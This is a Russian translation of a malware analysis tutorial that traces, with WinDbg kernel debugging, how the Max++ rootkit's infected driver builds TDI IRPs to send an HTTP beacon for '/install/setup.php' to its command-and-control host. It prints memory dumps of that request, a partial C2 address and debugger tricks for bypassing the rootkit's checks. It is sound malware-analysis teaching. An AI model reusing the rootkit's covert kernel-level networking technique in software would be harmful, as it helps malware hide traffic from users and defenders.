R0 CREW

Malware Analysis Tutorial 24: Tracing Malicious TDI Network Behaviors of Max++ (Перевод: Prosper-H)

Перейти к содержанию

Цели урока:

  1. Использовать WinDbg для отладки на уровне ядра.
  2. Применить аппаратные брэйкпойнты на данные, чтобы проследить за их содержимым и проанализировать код, который к ним обращается.
  3. Разобраться с TDI Network Service
  4. Разобраться с ключевыми структурами ввода/вывода, такими как _IRP и _IO_STACK_LOCATION.

1. Введение

Этот урок продолжает анализ инфицированного драйвера raspppoe и представляет сетевую активность и низкоуровневые операции руткита Max++, которые создают много проблем при отладке. Мы покажем, как Max++ напрямую создает низкоуровневые запросы ввода/вывода TDI для отправки данных по сети. TDI – это низкоуровневый интерфейс ввода/вывода, операционной системы Windows, предназначенный для работы с TCP/IP устройствами.

Начнем наш анализ с адреса « _+1BF2 ».

2. Подготовка

Мы будем использовать настройки Раздела 2 из Урока 20. Ниже мы напомним только несколько из наиболее важных шагов, которые требуются для настройки рабочей среды:

(1) Вам нужен отдельный образ виртуальной машины, с именем «Win_Notes», чтобы иметь возможность комментировать код. На этой виртуальной машине, мы не будет запускать исследуемую вредоносную программу, а будем просто использовать ее для записи всех ваших наблюдений с помощью .udd файла. Чтобы сделать это, необходимо изменить поток исполнения IMM таким образом, чтобы избежать сбоя (crash) при работе с .sys файлами. За подробностями обращайтесь к Разделу 2 из Урока 20. Перейдите на адрес 0x10001BF2, чтобы начать анализ.

(2) Второй образ виртуальной машины «Win_DEBUG» должен быть запущен в DEBUG режиме. При этом, на HostXP должен быть запущен WinDbg, который, с помощью COM-порта, присоединиться к «Win_DEBUG» – таким образом, мы сможем отлаживать данную ОС в режиме ядра.

(3) В WinDbg установите брэйкпойнт «bu _+1bF2», чтобы перехватить функцию driver entry.

3. Функция _+1BF2 (Network Activities)

Тело функции « _+1BF2 » показано на Рис. 1. Это относительно простая функция. Первым её действием (см. выделенную область, Рис. 1) является вызов KeInitializeQueue. Он должен создать очередь для обработки запросов ввода/вывода. Интересно то, что эта очередь не используется в функции _+1BF2. Вы можете использовать трюк, который заключается в установке брэйкпойнтов на данные, описанный в Уроке 23, чтобы выяснить, как эта очередь используется.

Задача 1. Используйте аппаратные брэйкпойнты на данные, чтобы определить, как используется, созданная по адресу « _+1C07 », очередь запросов ввода/вывода. Например, вы должны выяснить, кто вставляет новые элементы в очередь?

Рис. 1. Start a System Thread

Затем функция создает system thread (по адресу _+1C1F, Рис. 1). Стартовой процедурой потока является функция по адресу « _+393A ». В качестве параметра, предназначенного для стартовой процедуры, передается disk driver object. Обратите внимание, что он уже инфицирован (его Major Function установлена в _+2BDE).

Задача 2. Докажите, что ИНФИЦИРОВАННЫЙ объект драйвера диска передается в качестве параметра стартовой процедуре (start routine).

Теперь, если установить брэйкпойнт «bp _+393A» на стартовую процедуру, то мы окажемся в ее теле. Процедура сразу вызывает функцию « _+1b88 ». Тело функции из адреса « _+1b88 » показано ниже:

Рис. 2. Process IRP Request WorkItem

Функция « _+1b88 » заслуживает особого внимания и требует квалифицированного анализа. Ее первую часть (адреса с 0x10001B95 по 0x10001BB5, Рис. 2) легко понять. Исходя из кодов ошибок, возвращаемых KeRemoveQueue, функция будет предпринимать соответствующие действия для их обработки. Затем, если KeRemoveQueue вернет корректный результат, которым является экземпляр _LIST_ENTRY, то мы должны разобраться с действиями, которые выполняет Max++, начиная с адреса 0x10001BB7 (Рис. 2).

Есть четыре инструкции, начиная с адреса 0x10001BB7, которые, кажется, ссылаются на некоторые данные (data attributes), связанные с регистром EAX. Вопрос в том, какой тип данных представляет EAX? Если мы посмотрим на инструкцию по адресу 0x10001BC3 (см. на выделенный прямоугольник, Рис. 2), а затем на вызов IoFreeIrp по адресу 0x1BC7, то сможем сразу прийти к выводу, что EAX-58 является начальным адресом _IRP. Исходя из этого факта, мы можем легко определить значение остальной части кода.

И наконец, по адресу 0x10001BDD (см. последнюю выделенную область, на Рис. 2), Max++ переходит на адрес « _+21A1 ». Этот адрес должен быть установлен Max++, когда тот устанавливает IRP work item.

Теперь давайте посмотрим на функцию « _+21A1 ». Как и любого другого драйвера, логика работы нашего драйвера состоит из многих switch cases. Трассируя вызовы с помощью WinDbg, мы вскоре достигнем функции « _+1660 » (Рис. 3).

Рис. 3. Тело функции _+1660

Как показано на Рис. 3, функция « _+1660 », сначала читает текущий статус кода ввода/вывода (IO status code), который передается в качестве параметра и хранится в [EBP+8]. Если все нормально (с сетевым устроством), то она приступает к генерированию GUID (уникального идентификатора), далее использует sprintf, чтобы сгенерировать заголовок HTTP-запроса “/install/setup.php” и вызывает функцию «sendsHTTPReq_Get_InstallPHP» (метка, которую мы установили функции « _+2090 »)

ПРИМЕЧАНИЕ: Поскольку Max++ пытается получить доступ к x86.00.dll, которая расположена по адресу 74.117.xx.xx, он терпит неудачу. Статус устройства (device status) C00000B5. Чтобы обмануть руткит и представить, что неудачи не было, и все прошло успешно, мы можем использовать команду «ed 0xaaaabbbb 0» (где «aaaabbbb» является значением из EBP+8), которая перезапишет код ошибки.

Задача 3. Проследите, кто пишет в [EBP+8]?

Рис. 4. Тело функции _+2090: Отправляет TCP-пакет

ПРИМЕЧАНИЕ: Чтобы снова обмануть руткит и заставить его думать, что TDI-сервис существует, установите BP на адрес « _+20D4 » и затем измените значение EAX на 1, например, используя команду WinDbg «r eax=1»

Как показано на Рис. 4, работа функции « _+2090 » состоит в том, чтобы отсылать сетевые пакеты. Ее главная функция должна создать IRP-запросы и вызывать сетевой драйвер для отправки запроса. Ниже мы раскроем некоторые из основных операций.

По адресу « _+2102 » (см. выделенную область, Рис. 4), мы сталкиваемся с первым интересным вызовом: IoBuildDeviceIoControlRequest. Согласно MSDN [1], прототип функции имеет вид, представленный ниже. Очевидно, что она возвращает экземпляр IRP-объекта и имеет следующие интересные параметры: IoControlCode, DeviceObject, Input/Output Buffer, PKEvent. Сейчас мы проверим каждый из этих параметров.

PIRP IoBuildDeviceIoControlRequest(
  __in       ULONG IoControlCode,
  __in       PDEVICE_OBJECT DeviceObject,
  __in_opt   PVOID InputBuffer,
  __in       ULONG InputBufferLength,
  __out_opt  PVOID OutputBuffer,
  __in       ULONG OutputBufferLength,
  __in       BOOLEAN InternalDeviceIoControl,
  __in_opt   PKEVENT Event,
  __out      PIO_STATUS_BLOCK IoStatusBlock
);

Делая дамп стэка, прямо перед вызовом IoBuildDeviceIoControlRequest, мы получим следующий результат:

kd> dd esp
f7df4d04  [B]00000002 ffb24530[/B] 00000000 00000000
f7df4d14  [B]e11c600c[/B] 0000008c 00000001 00000000
f7df4d24  f7df4d34 00000000 e10e26c8 00000000
f7df4d34  faf36091 00000008 ffb24530 f7df4d6c
f7df4d44  faf356e2 00000000 e10e26c8 00000000
f7df4d54  00000000 c66258dd 11e17d8d 00089c9e
f7df4d64  02b75027 00000382 f7df4d84 faf3628c
f7df4d74  00000000 e10e26c8 00000000 c00000b5

Очевидно, что IoControlCode равно 0x2, DeviceObject равно ffb24530, а output buffer равен 0xe11c600c. Если вы позже сдампите содержимое DeviceObject, используя команду «dt _DEVICE_OBJECT ffb24530 -r2», то вы обнаружите, что driver object’ом будет «Driver/TCP». Чтобы узнать значение кода 0x2 из IoControlCode, просто введите в Google строку «#define IRP_MJ_CREATE» и вы вскоре узнаете, что 0x2 означает IRP_MJ_CLOSE. Интересно заметить, что output buffer, который должен быть перезаписан, имеет следующий вид (что является заголовком HTTP-запроса для адреса intensedive.com/install/setup.php):

kd> db 0xe11c600c
e11c600c  47 45 54 20 2f 69 6e 73-74 61 6c 6c 2f 73 65 74  GET [B]/install/set[/B]
e11c601c  75 70 2e 70 68 70 3f 6d-3d 30 38 30 30 32 37 35  [B]up.php?[/B]m=0800275
e11c602c  30 62 37 30 32 20 48 54-54 50 2f 31 2e 31 0d 0a  0b702 HTTP/1.1..
e11c603c  48 6f 73 74 3a 20 69 6e-74 65 6e 73 65 64 69 76  Host: [B]intensediv[/B]
e11c604c  65 2e 63 6f 6d 0d 0a 55-73 65 72 2d 41 67 65 6e  [B]e.com[/B]..User-Agen
e11c605c  74 3a 20 4f 70 65 72 61-2f 39 2e 32 39 20 28 57  t: Opera/9.29 (W
e11c606c  69 6e 64 6f 77 73 20 4e-54 20 35 2e 31 3b 20 55  indows NT 5.1; U
e11c607c  3b 20 65 6e 29 0d 0a 43-6f 6e 6e 65 63 74 69 6f  ; en)..Connectio

Почему это используется как output buffer (тогда, как в место этого должен быть input buffer)? Давайте сначала рассмотрим _IRP сгенерированный вызовом, он хранится в EAX. Ниже показан дамп. Первым интересным элементом структуры является StartVa (виртуальный адрес) связанный с _IRP, он равен значению 0xe11c6000 (которое находится очень близко к output buffer, обсуждаемому выше). Далее следующим интересным моментом является то, что: stack count равен 1, current location равен 2 и currentStackLocation равен 0x81158a3c.

kd> dt _IRP 811589a8 -r2
nt!_IRP
   +0x000 Type             : 0n6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : 0xffa339e0 _MDL
      +0x000 Next             : (null) 
      +0x004 Size             : 0n32
      +0x006 MdlFlags         : 0n138
      +0x008 Process          : (null) 
      +0x00c MappedSystemVa   : 0x81257000 Void
      +0x010 StartVa          : [B][U]0xe11c6000[/U][/B] Void
      +0x014 ByteCount        : 0x8c
      +0x018 ByteOffset       : 0xc
   +0x008 Flags            : 0
   +0x022 [B][U]StackCount[/U]       : 1[/B] ''
   +0x023 [B][U]CurrentLocation[/U]  : 2[/B] ''
  ...
     +0x040 Tail             : __unnamed
      +0x000 Overlay          : __unnamed
         +0x000 DeviceQueueEntry : _KDEVICE_QUEUE_ENTRY
         +0x000 DriverContext    : [4] (null) 
         +0x010 Thread           : 0x8112c200 _ETHREAD
         +0x014 AuxiliaryBuffer  : (null) 
         +0x018 ListEntry        : _LIST_ENTRY [ 0x0 - 0x0 ]
         +0x020 CurrentStackLocation : [B][U]0x81158a3c[/U][/B] _IO_STACK_LOCATION
         +0x020 PacketType       : 0x81158a3c
         +0x024 OriginalFileObject : (null)

Достаточной информации по всей структуре _IRP – не существует, поэтому мы снова должны обратиться к Google. Ища по словам _IRP, StackCount, CurrentLocation мы нашли следующий код [3].

#define IoSetNextIoStackLocation(_IRP){
  _IRP->currentLocation--;
   IRP->Tail.Overlay.currentStackLocation--; 
}

Обратите внимание, что типом currentLocation является байт, в то время как типом currentStackLocation является структура _IO_STACK_LOCATION (таким образом, оператор «–» на самом деле уменьшает значение указателя на 0x24 байта, т.е. на размер IO_STACK_LOCATION). Вы так же можете заметить, что стэк растет по направлению ВНИЗ! Другими словами, обратите внимание на то, что IO_STACK_LOCATION является подмножеством всего _IRP, т.е. _IRP может состоять из множества структур IO_STACK_LOCATION размещенных последовательно в IO_stack. Чтобы перейти к следующей структуре _IO_STACK_LOCATION, уменьшите текущий адрес IO_STACK_LOCATION на 24.

Давайте распечатаем содержимое _IO_STACK_LOCATION и посмотрим, что в нем есть:

kd> dt _IO_STACK_LOCATION 0x81158a3c 
nt!_IO_STACK_LOCATION
   +0x000 [B]MajorFunction    : 0x9c[/B] ''
   +0x001 [B]MinorFunction    : 0x89[/B] ''
   +0x002 Flags            : 0x15 ''
   +0x003 Control          : 0x81 ''
   +0x004 Parameters       : __unnamed
   +0x014 DeviceObject     : (null) 
   +0x018 FileObject       : (null) 
   +0x01c CompletionRoutine : 0x81158a58     long  +ffffffff81158a58
   +0x020 Context          : 0x81158a58 Void

Заметьте, что major function равна 0x9c, minor function равна 0x89. Если вы поищите эти значения в winnt_types.h, то выясните, что они БЕЗСМЫСЛЕННЫ! Обратите внимание на значение stackCount (оно равно 1), которое означает, что есть ТОЛЬКО ОДНА структура _IO_STACK_LOCATION связанная с этим IRP, и обратите внимание на значение currentLocation, оно равно 2 (что означает, что 0x81158a58) на самом деле является адресом, который лежит на 0x24 байта после РЕАЛЬНОЙ структуры _IO_STACK_LOCATION связанной с _IRP!

Теперь посмотрите на код, размещенный по адресам 0x1000211b и 0x1000211E:

_+0x211b:
faf3611b 8b4860          mov     ecx,dword ptr [eax+60h]
kd> p

_+0x211e:
faf3611e 83e924          [B]sub     ecx,24h[/B]

kd> r ecx
ecx=[B]81158a18[/B]

Цель этого кода вполне ясна, сейчас ECX равен реально адресу структуры _IO_STACK_LOCATION. Следующие несколько инструкций устанавливают содержимое _IO_STACK_LOCATION. Ее содержимое показано ниже:

kd> dt _IO_STACK_LOCATION 81158a18
nt!_IO_STACK_LOCATION
   +0x000 [B][U]MajorFunction[/U][/B]    : 0xf ''
   +0x001 [B][U]MinorFunction[/U][/B]    : 0x7 ''
   +0x002 Flags            : 0 ''
   +0x003 Control          : 0 ''
   +0x004 Parameters       : __unnamed
   +0x014 DeviceObject     : (null) 
   +0x018 FileObject       : 0xffbc7698 _FILE_OBJECT
   +0x01c CompletionRoutine : (null) 
   +0x020 Context          : (null)

Теперь major function равна 0xf (IRP_MJ_INTERNAL_DEVICE_CONTROL), а MinorFunction равна 0x7 (TDI_SEND). Если вы прочитали документ MSDN о TDI_SEND [4], то вы могли бы заметить, что данные для отправки хранятся в _IRP->MDL (который содержит HTPP-запрос к адресу intensivedive.com), а _IO_STACK_LOCATION->FileObject представляет объект сокета TCP соединения.

Дойдя до этого места, нам ясно, что функция « _1660 » пытается отправить запрос «/install/setup.php…» на адрес intensivedive.com. Если вы откроете WireShark, на нашем Linux-шлюзе, то вы сможете перехватить этот пакет.

Задача дня: Можете ли вы определить код, который отвечает за получение возвращаемых данных от «/install/setup.php»? (Подсказка: используйте брэйкпонты на данные и подумайте о том, как использовать TDI сервис для получения возвращаемых данных)

© Translated by Prosper-H from r0 Crew

Ссылки

[1] MSDN, “IoBuildDeviceControlRequest Routine”
[2] MSDN, “KeInsertQueue”
[3] winddk.h, available on linkm.googlecode.com
[4] MSDN, “TDI_SEND”